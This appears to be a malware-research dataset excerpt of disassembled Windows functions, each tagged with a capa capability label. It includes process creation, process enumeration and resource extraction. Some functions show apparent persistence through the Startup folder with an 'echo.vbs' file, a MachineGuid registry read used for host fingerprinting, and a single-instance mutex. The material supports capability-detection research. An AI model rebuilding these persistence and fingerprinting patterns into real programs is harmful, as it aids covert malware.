joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008d60
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x58
push edi
mov edi, dword [esp + 0x64]
test edi, edi
jg 0x10008d74
or eax, 0xffffffff
pop edi
add esp, 0x58
ret
push ebp
push esi
lea ebp, [edi + 1]
push ebp
call fcn.1000bbf6
mov esi, eax
add esp, 4
test esi, esi
mov dword [esp + 0xc], esi
je 0x10008dcb
push ebp
push 0
push esi
call sub.MSVCR80.dll_memset
mov ecx, dword [esp + 0x74]
add esp, 0xc
push edi
push esi
call fcn.10002ed0
cmp eax, edi
jne 0x10008dc2
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10008db0
sub eax, edx
cmp eax, 0x104
jb 0x10008dd5
push esi
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
pop esi
pop ebp
or eax, 0xffffffff
pop edi
add esp, 0x58
ret
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10008de0
sub eax, edx
push ebx
mov bl, byte [esi + eax + 1]
lea eax, [esi + eax + 2]
add edi, 0x10
push edi
mov dword [esp + 0x74], eax
call fcn.1000bbf6
mov ebp, eax
mov eax, esi
add esp, 4
mov word [ebp], 0x22
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x10008e10
mov edi, ebp
sub eax, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x10008e20
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
add edi, 0xffffffff
lea ecx, [ecx]
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x10008e40
mov cx, word [0x10011fc8]
mov word [edi], cx
mov ecx, dword [esp + 0x70]
cmp byte [ecx], al
je 0x10008ea8
mov edi, ebp
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x10008e61
mov dx, word [0x10011e28]
mov word [edi], dx
mov eax, ecx
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x10008e77
mov edi, ebp
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x10008e90
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x44
lea eax, [esp + 0x28]
push 0
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
test bl, bl
mov dword [esp + 0x24], 0x44
mov word [esp + 0x54], 0
je 0x10008ed4
mov dword [esp + 0x50], 1
neg bl
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push edx
push 0
push 0
sbb ebx, ebx
and ebx, 0x8000000
push ebx
push 0
push 0
push 0
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push ebp
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
mov eax, dword [esp + 0x14]
push eax
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 8
pop ebx
pop esi
pop ebp
mov eax, 1
pop edi
add esp, 0x58
ret
Function at 0x100092b0
Capabilities:
Create directory

Disassembly:
sub esp, 0x10c
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x108], eax
push esi
mov esi, dword [esp + 0x114]
push esi
call fcn.10009200
add esp, 4
test eax, eax
jne 0x100092ef
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1000bc08
add esp, 0x10c
ret
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100092f4
sub eax, edx
cmp eax, 3
ja 0x1000931f
mov eax, 1
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1000bc08
add esp, 0x10c
ret
lea edx, [esp + 8]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10009327
push edi
mov edi, dword [sym.imp.MSVCR80.dll_strchr]
lea eax, [esp + 0xc]
push 0x5c
push eax
mov dword [esp + 0x10], 1
call edi
add esp, 8
cmp byte [esi], 0x5c
jne 0x100093ab
cmp byte [esi + 1], 0x5c
jne 0x100093ab
lea ecx, [esp + 0xe]
push 0x5c
push ecx
call edi
add esp, 8
test eax, eax
jne 0x10009380
pop edi
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1000bc08
add esp, 0x10c
ret
add eax, 1
push 0x5c
push eax
call edi
add esp, 8
test eax, eax
jne 0x100093ab
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1000bc08
add esp, 0x10c
ret
push ebx
push ebp
add eax, 1
push 0x5c
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
add esp, 8
test esi, esi
je 0x100093cd
mov byte [esi], 0
push 0
lea edx, [esp + 0x18]
push edx
call ebx
test eax, eax
jne 0x100093e3
call ebp
cmp eax, 0xb7
jne 0x100093f4
test esi, esi
je 0x100093f8
mov byte [esi], 0x5c
add esi, 1
push 0x5c
push esi
call edi
jmp 0x100093c1
xor eax, eax
jmp 0x100093fc
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x118]
pop ebp
pop ebx
pop edi
pop esi
xor ecx, esp
call fcn.1000bc08
add esp, 0x10c
ret
Function at 0x1000bc08
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001734c]
jne 0x1000bc12
repz ret
jmp fcn.1000c15d
Function at 0x401050
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40106b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4010a2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40109e
jmp 0x401090
cmp esi, eax
jae 0x4010a2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401090
cmp esi, eax
jb 0x4010a9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401810
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x52ba6e
mov eax, dword fs:[0]
push eax
sub esp, 0x1a8
push ebx
push esi
push edi
mov eax, dword [0x578ad4]
xor eax, esp
push eax
lea eax, [esp + 0x1b8]
mov dword fs:[0], eax
mov ebx, ecx
push str.onepro
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x401885
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401885
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
mov ecx, dword [esp + 0x1b8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], 8
mov dword [esp + 0x24], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, ebx
call fcn.004078db
push 0
call fcn.004083ae
add esp, 4
push 0x5576e0
mov ecx, ebx
call fcn.0040889c
mov esi, dword [0x580ac8]
lea ecx, [ebx + 0xb8]
test esi, esi
jne 0x4018d1
xor eax, eax
jmp 0x4018df
mov eax, esi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4018d6
sub eax, edi
push eax
push esi
call fcn.004014c0
lea edi, [esp + 0x14]
call fcn.00401b20
push eax
lea ecx, [ebx + 0xbc]
mov dword [esp + 0x1c4], 0
call fcn.00401ee0
mov dword [esp + 0x1c0], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401931
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea esi, [esp + 0x14]
call fcn.00401bb0
push eax
lea ecx, [ebx + 0xc0]
mov dword [esp + 0x1c4], 1
call fcn.00401ee0
or esi, 0xffffffff
mov dword [esp + 0x1c0], esi
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40197a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebx + 0xbc]
push 0x2e
push eax
call fcn.0050394e
add esp, 8
test eax, eax
jne 0x401993
mov eax, esi
jmp 0x401999
sub eax, dword [ebx + 0xbc]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [ebx + 0xbc]
call fcn.00401c50
push eax
lea ecx, [ebx + 0xbc]
mov dword [esp + 0x1c4], 2
call fcn.00401ee0
mov dword [esp + 0x1c0], esi
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, esi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4019e7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x24]
push ecx
call fcn.00402430
lea edx, [esp + 0x24]
mov dword [esp + 0x1c0], 3
mov ecx, edx
mov dword [ebx + 0x20], edx
call fcn.004097eb
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x1c4], esi
call fcn.00401a40
xor eax, eax
mov ecx, dword [esp + 0x1b8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4031a0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52ba20
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
mov eax, dword [0x578ad4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004064ed
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4031e1
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
call fcn.004064ed
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403211
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.echo.vbs
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.004015a0
mov bl, 2
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00504103
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
push str.C:_bootmgr
call esi
test eax, eax
je 0x403274
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1c]
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartup_
push edx
call fcn.004040d0
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x14]
jmp 0x4032e3
push str.C:_ntldr
call esi
test eax, eax
je 0x40330b
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1c]
push str.C:Documents_and_SettingsAll_Users_
push edx
call fcn.004040d0
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call fcn.00401ee0
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4032c7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1c]
push str.C:Documents_and_SettingsAdministrator_
push edx
call fcn.004040d0
add esp, 0xc
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x18]
push eax
call fcn.00401ee0
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40330b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40332e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403351
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403377
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4037e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52b946
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x578ad4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push 0x557814
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], edi
call fcn.004015a0
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403889
call fcn.004064ed
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x403852
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebx], eax
mov ecx, ebx
call fcn.00401280
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x140]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x40397d
push 0x124
lea ecx, [ebp - 0x138]
push edi
push ecx
mov dword [ebp - 0x13c], 0x128
call fcn.00505a20
add esp, 0xc
lea edx, [ebp - 0x13c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, edi
je 0x4038f6
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x134], eax
je 0x4038db
lea ecx, [ebp - 0x13c]
push ecx
push esi
call edi
test eax, eax
jne 0x4038c0
jmp 0x4038f6
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x140]
push 0x557a48
push eax
call fcn.00404ba0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x140]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi - 4], 0
lea ecx, [esi - 4]
jl 0x403929
cmp eax, dword [esi - 0x10]
jne 0x403929
lea edi, [esi - 0x10]
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40395b
mov ecx, dword [esi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 1
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x403942
call fcn.00401380
mov eax, dword [esi - 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi - 0xc]
inc eax
push eax
push esi
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.0050359a
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x140]
add edi, 0x10
add eax, 0xfffffff0
mov dword [ebx], edi
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403989
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0050358b
mov esp, ebp
pop ebp
ret 4
Function at 0x4039b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x578ad4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4039e8
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050358b
mov esp, ebp
pop ebp
ret
push 0x124
lea eax, [ebp - 0x12c]
push 0
push eax
mov dword [ebp - 0x130], 0x128
call fcn.00505a20
add esp, 0xc
lea ecx, [ebp - 0x130]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x403a44
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], ebx
je 0x403a38
lea edx, [ebp - 0x130]
push edx
push esi
call edi
test eax, eax
jne 0x403a20
jmp 0x403a44
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x134], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x134]
pop edi
xor ecx, ebp
pop esi
call fcn.0050358b
mov esp, ebp
pop ebp
ret
Function at 0x403b90
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52b808
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x578ad4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 8]
push 0x557aa8
push eax
call fcn.0050445b
add esp, 8
cmp eax, ebx
jne 0x403c05
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403bfe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x403d08
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.00403d30
mov edi, eax
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.004041f0
mov edi, 0x10
cmp dword [ebp - 0x34], edi
jb 0x403c42
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.004052a8
add esp, 4
push 0x44
lea edx, [ebp - 0x9c]
push ebx
push edx
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.00505a20
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x9c], 0x44
cmp dword [ebp - 0x18], edi
jae 0x403c84
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x9c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x557aa8
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x58]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [ebp - 0x54]
push edx
call esi
cmp dword [ebp - 0x18], edi
jb 0x403cd0
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004052a8
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403d03
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050358b
mov esp, ebp
pop ebp
ret 4
Function at 0x403dc0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.SOFTWAREMICROSOFTCRYPTOGRAPHY
push reloc.OLEAUT32.dll_SysReAllocString
or esi, 0xffffffff
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403e3e
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 8]
push ecx
push eax
lea edx, [ebp - 0xc]
push edx
push eax
mov eax, dword [ebp - 4]
push str.MachineGuid
push eax
call esi
mov edx, dword [ebp + 8]
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.MachineGuid
push ecx
call esi
mov edx, dword [ebp - 4]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x407fa6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x407fee
call fcn.00413e2f
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x407fee
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x408031
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40801a
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40801a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x40802e
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4099ea
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00413e2f
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x409a23
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040962c
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x409a81
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x409aa5
cmp dword [edi + 0x74], 0
jne 0x409aa5
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00413e2f
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00409a42
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4129c8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x412a0f
call fcn.00413e2f
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x412a0f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x412a2b
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004124cd
mov esi, eax
test edi, edi
je 0x412a29
test ebx, ebx
je 0x412a29
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4131e2
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x521f99
call fcn.00504c8f
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x413207
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x413259
call fcn.004064ed
push eax
lea ecx, [ebp - 0x10]
call fcn.00401000
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.005046e0
push eax
call fcn.00405410
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004012e0
mov eax, esi
call fcn.00504d67
ret 8

Function at 0x4141f3
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.00413eb2
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x41423d
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00404610
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004045c0
jmp 0x414248
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00418b88
pop edi
pop esi
pop ebp
ret 0xc